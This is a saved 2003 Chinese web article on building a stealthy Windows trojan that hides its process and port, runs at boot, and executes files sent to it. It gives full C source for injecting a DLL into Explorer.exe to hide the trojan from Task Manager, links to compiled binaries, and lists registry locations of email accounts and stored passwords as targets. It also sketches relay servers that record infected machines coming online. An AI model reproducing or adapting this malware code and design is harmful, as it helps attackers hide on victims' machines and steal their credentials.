⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 木马编程相关杂谈.htm

📁 关于win2000核心编程的文章
💻 HTM
字号:
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<!-- saved from url=(0069)http://jiurl.cosoft.org.cn/jiurl/document/JiurlTrojan/JiurlTrojan.htm -->
<HTML><HEAD><TITLE>Jiurl's</TITLE>
<META content="text/html; charset=gb2312" http-equiv=Content-Type>
<META content=黑客,安全,网络,编程,黑客软件,安全软件,hacker,UNIX,Linux,FreeBSD name=keywords>
<META content=黑客,安全,网络,编程,黑客软件,安全软件,hacker,UNIX,Linux,FreeBSD name=description>
<STYLE type=text/css>.title {
	FONT-FAMILY: "黑体", Arial, sans-serif; FONT-SIZE: 21px; FONT-WEIGHT: bold; LINE-HEIGHT: 48px; TEXT-DECORATION: none
}
.author {
	FONT-FAMILY: "宋体"; FONT-SIZE: 12px; LINE-HEIGHT: 16px
}
.content {
	FONT-SIZE: 14px; LINE-HEIGHT: 20px
}
</STYLE>

<META content="MSHTML 5.00.2614.3500" name=GENERATOR></HEAD>
<BODY bgColor=#f7f7f7 topMargin=5>
<DIV align=center>
<CENTER>
<TABLE border=0 cellPadding=0 cellSpacing=0 height=29 width="96%">
  <TBODY>
  <TR>
    <TD class=title height=41 width="100%">
      <P align=center><FONT face=宋体>木马编程相关杂谈</FONT></P></TD></TR></CENTER>
  <TR>
    <TD class=author height=9 width="100%">
      <P align=center>作者: <A href="mailto:jiurl@mail.china.com">JIURL</A> 
  </P></TD></TR>
  <TR>
    <TD class=author height=6 width="100%">
      <P 
      align=center>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 
      主页: <A href="http://jiurl.yeah.net/">http://jiurl.yeah.net/</A> </P></TD></TR>
  <TR>
    <TD class=author height=2 width="100%">
      <P align=center>&nbsp;&nbsp;&nbsp; 日期: 2003-1-13 
</P></TD></TR></TBODY></TABLE></DIV>
<DIV align=center>
<CENTER>
<TABLE border=0 cellPadding=0 cellSpacing=0 height=1 width="96%">
  <TBODY>
  <TR>
    <TD height=1 width="100%">
      <HR color=#396da5 SIZE=3>
    </TD></TR></TBODY></TABLE></CENTER></DIV>
<DIV align=center>
<TABLE border=0 cellPadding=0 cellSpacing=0 class=content height=3050 
width="96%">
  <TBODY>
  <TR>
    <TD height=325 vAlign=top width="131%">
      <P>&nbsp;&nbsp;&nbsp; 
      我写了这样一个Windows下的程序,服务器端没有进程,没有端口,开机自动运行,可以接收客户端发来的文件并执行文件。只有不被发现的木马才能长寿。木马能接收文件并且执行文件,就可以干任何事。比如搜集系统的信息,只要传一个搜集系统信息的程序,并且执行。其他各种需要的功能也可以写成相应的程序,发送并且执行。
      <P><B>隐藏进程<BR>&nbsp;&nbsp;&nbsp; </B>也就是为了在Win2K中的 Windows 
      任务管理器中看不到。把木马程序做为别的进程中的一个线程运行,这样在 Windows 任务管理器 
      的进程中就看不到了。要达到这个目的,最简单易用的方法就是把木马程序放在一个dll中,另有一个程序负责将这个dll注入到其他进程,比如 
      Explorer.exe 
      进程中。负责注入dll的程序先用VirtualAllocEx(hRemoteProcess,...)在目标进程中分配一块儿内存,用WriteProcessMemory向该内存中写入要注入的dll的路径和名称,然后利用CreateRemoteThread在目标进程中创建一个线程,这个线程执行LoadLibraryW,并以刚才弄好的那块内存中的dll的路径和名称为参数。这样就使dll载入了目标进程的地址空间,dll的载入将执行dll。这里只是大概的说,详细可以看 
      Jeffrey Richter 的 《WINDOWS核心编程》第22章,讲的很清楚。而且有非常好的附书的程序做范例 
      22-ImgWalk,22-InjLib。这本书有 pdf 
      格式的,在网上找找就可以下载到。我也给出一个自己写的说明这种隐藏方法的程序,相对来说更清楚,更容易看明白。
      <P>两部分,负责注入的叫NoProcessExe.exe,被注入的dll叫做NoProcessDll.dll。NoProcessExe.exe负责把NoProcessDll.dll注入到Explorer.exe进程中,NoProcessDll.dll中的程序首先获得所在进程的pid,然后用MessageBox打印出来,以证明它是在Explorer.exe进程中运行的。注意一下 
      NoProcessDll.dll,NoProcessExe.exe 
      要放在同一目录下。Win2K,VC6使用没问题。<BR>____________________________________________________________________________________________<BR><B>//NoProcessExe</B><BR>#include 
      &lt;winsock2.h&gt;<BR>#include &lt;stdio.h&gt;<BR>#include 
      &lt;tlhelp32.h&gt;<BR><BR>#pragma comment (lib,"Advapi32.lib")<BR><BR>int 
      APIENTRY WinMain(HINSTANCE hInstance,<BR>HINSTANCE hPrevInstance,<BR>LPSTR 
      lpCmdLine,<BR>int 
      nCmdShow)<BR>{<BR>////////////////////////////////////////////////////////////<BR>// 
      查找explorer.exe进程的pid 
      //<BR>////////////////////////////////////////////////////////////<BR>DWORD 
      pid;<BR><BR>HANDLE hSnapshot = 
      NULL;<BR><BR>hSnapshot=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,NULL);<BR><BR>PROCESSENTRY32 
      pe;<BR>pe.dwSize = 
      sizeof(PROCESSENTRY32);<BR><BR>Process32First(hSnapshot,&amp;pe);<BR><BR>do<BR>{<BR>if(strcmp(pe.szExeFile,"Explorer.exe")==0)<BR>{<BR>pid 
      = 
      pe.th32ProcessID;<BR>break;<BR>}<BR>}<BR>while(Process32Next(hSnapshot,&amp;pe)==TRUE);<BR><BR>CloseHandle 
      (hSnapshot);<BR><BR>////////////////////////////////////////////////////////////<BR>// 
      把dll注入explorer.exe进程 
      //<BR>////////////////////////////////////////////////////////////<BR>PWSTR 
      pszLibFileRemote = NULL;<BR>HANDLE hRemoteProcess = NULL,hRemoteThread = 
      NULL;<BR><BR>hRemoteProcess = OpenProcess(<BR>PROCESS_QUERY_INFORMATION | 
      // Required by Alpha<BR>PROCESS_CREATE_THREAD | // For 
      CreateRemoteThread<BR>PROCESS_VM_OPERATION | // For 
      VirtualAllocEx/VirtualFreeEx<BR>PROCESS_VM_WRITE, // For 
      WriteProcessMemory<BR>FALSE, pid);<BR><BR>char 
      CurPath[256];<BR>GetCurrentDirectory(256,CurPath);<BR>strcat(CurPath,"\\NoProcessDll.dll");<BR><BR>int 
      len = (strlen(CurPath)+1)*2;<BR>WCHAR 
      wCurPath[256];<BR>MultiByteToWideChar(CP_ACP,0,CurPath,-1,wCurPath,256);<BR><BR>pszLibFileRemote 
      = (PWSTR)&nbsp;<BR>VirtualAllocEx(hRemoteProcess, NULL, len, MEM_COMMIT, 
      PAGE_READWRITE);<BR><BR>WriteProcessMemory(hRemoteProcess, 
      pszLibFileRemote,&nbsp;<BR>(PVOID) wCurPath, len, 
      NULL);<BR><BR>PTHREAD_START_ROUTINE pfnThreadRtn = 
      (PTHREAD_START_ROUTINE)<BR>GetProcAddress(GetModuleHandle(TEXT("Kernel32")), 
      "LoadLibraryW");<BR><BR>hRemoteThread = CreateRemoteThread(hRemoteProcess, 
      NULL, 0,&nbsp;<BR>pfnThreadRtn, pszLibFileRemote, 0, NULL);<BR><BR>return 
      0;<BR>}
      <P>____________________________________________________________________________________________<BR><B>//NoProcessDll<BR></B>#include 
      &lt;windows.h&gt;<BR><BR>BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD 
      fdwReason,LPVOID lpvReserved)<BR>{<BR>char 
      szProcessId[64];&nbsp;<BR><BR>if (fdwReason == 
      DLL_PROCESS_ATTACH)&nbsp;<BR>{<BR>//取得当前进程的pid,通过和 Windows 任务管理器中 的 
      pid<BR>//进行比较可以知道这个dll在哪个进程中运行。<BR>_itoa ( GetCurrentProcessId(), 
      szProcessId, 10 );<BR>MessageBox ( NULL, szProcessId, "RemoteDLL", MB_OK 
      );<BR>Sleep(1000);<BR>}<BR><BR>HMODULE 
      hDll;<BR>hDll=GetModuleHandle("NoProcessDll.dll");<BR>FreeLibrary(hDll);<BR><BR>return 
      TRUE;<BR>}
      <P>____________________________________________________________________________________________<BR><A 
      href="http://jiurl.cosoft.org.cn/jiurl/document/JiurlTrojan/NoProcess.zip">编译好的程序下载</A>&nbsp; 
      <A 
      href="http://jiurl.cosoft.org.cn/jiurl/document/JiurlTrojan/NoProcessJiurlCode.zip">源程序下载</A>
      <P><B>隐藏端口<BR>&nbsp;&nbsp;&nbsp; </B>曾经考虑过使用SPI( Service Provider 
      Interface )。SPI可以在 Windows Sockets 2 API 
      下面加一层,可以进行处理。也许可以很方便的实现端口的隐藏。关于SPI可以看msdn中的介绍。《WINDOWS网络编程技术》第14章 
      也有介绍。但由于资料太少了,我也没有很多时间去研究,最后没有使用。<BR>&nbsp;&nbsp;&nbsp; 
      最终我自己找到了一种方法,详细可以看我的另一篇文章《木马隐藏端口的一种方法》。
      <P><B>开机自动运行<BR>&nbsp;&nbsp;&nbsp; </B>通过注册表,实现开机自动运行。但决不是 
      HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run和RunService 
      之类的。也不是文件类型关联。不会造成系统的负担。使用起来很舒服,知道的人应该不多吧。除非知道,否则很难找到并且删除它。是什么呢?呵呵,暂时保密。
      <P><B>一些有用的注册表项和API<BR></B>计算机名&nbsp;<BR>HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\ComputerName\ComputerName<BR>CPU信息,Win2K下包括速度,型号,几块cpu。如果有多块儿会出现...\0,...\1等等<BR>HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0<BR>outlook 
      express 
      邮箱和用户名,0000000?根据情况。<BR>HKEY_CURRENT_USER\Software\Microsoft\Internet 
      Account 
      Manager\Accounts\00000001<BR>邮箱密码和ie浏览器自动完成密码存放地,可惜里面的东西是加密的,我这里找到了能从里面读出明文的程序,等有时间了会看看怎么弄,有知道的朋友麻烦您帮助一下我。<BR>HKEY_CURRENT_USER\Software\Microsoft\Protected 
      Storage System Provider\<BR>获得计算机名,实际上就是从注册表里读。API: 
      GetComputerName<BR>判断计算机是否在线。API:InetIsOffline
      <P><B>一些设想<BR>&nbsp;&nbsp;&nbsp; 
      </B>关于木马主机上线通知,我有一个设想。就是首先寻找几台,固定IP并且长时间在线的机器,然后写一个服务程序,让他们运行。其他主机一旦上线,就向某台主主机发送上线信息,如果发送没有收到回应,就向备用主机发送上线信息。而我们运行一个客户端,可以到那几台主机上取得上线信息。就是说,找到几台固定ip并且不下线的主机,让他们做我们的服务器,其他上线的时候,向这几台服务器发信息,服务器保存起来。我们想知道在线信息的时候随时可以去去。这些只是一些设想。
      <P><B>终</B> 
      <P><A 
      href="http://jiurl.cosoft.org.cn/jiurl/document/JiurlTrojan/NoProcess.zip">编译好的程序下载</A>&nbsp; 
      <A 
      href="http://jiurl.cosoft.org.cn/jiurl/document/JiurlTrojan/NoProcessJiurlCode.zip">源程序下载</A> 
      </P></TD></TR></TBODY></TABLE></DIV></BODY></HTML>

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -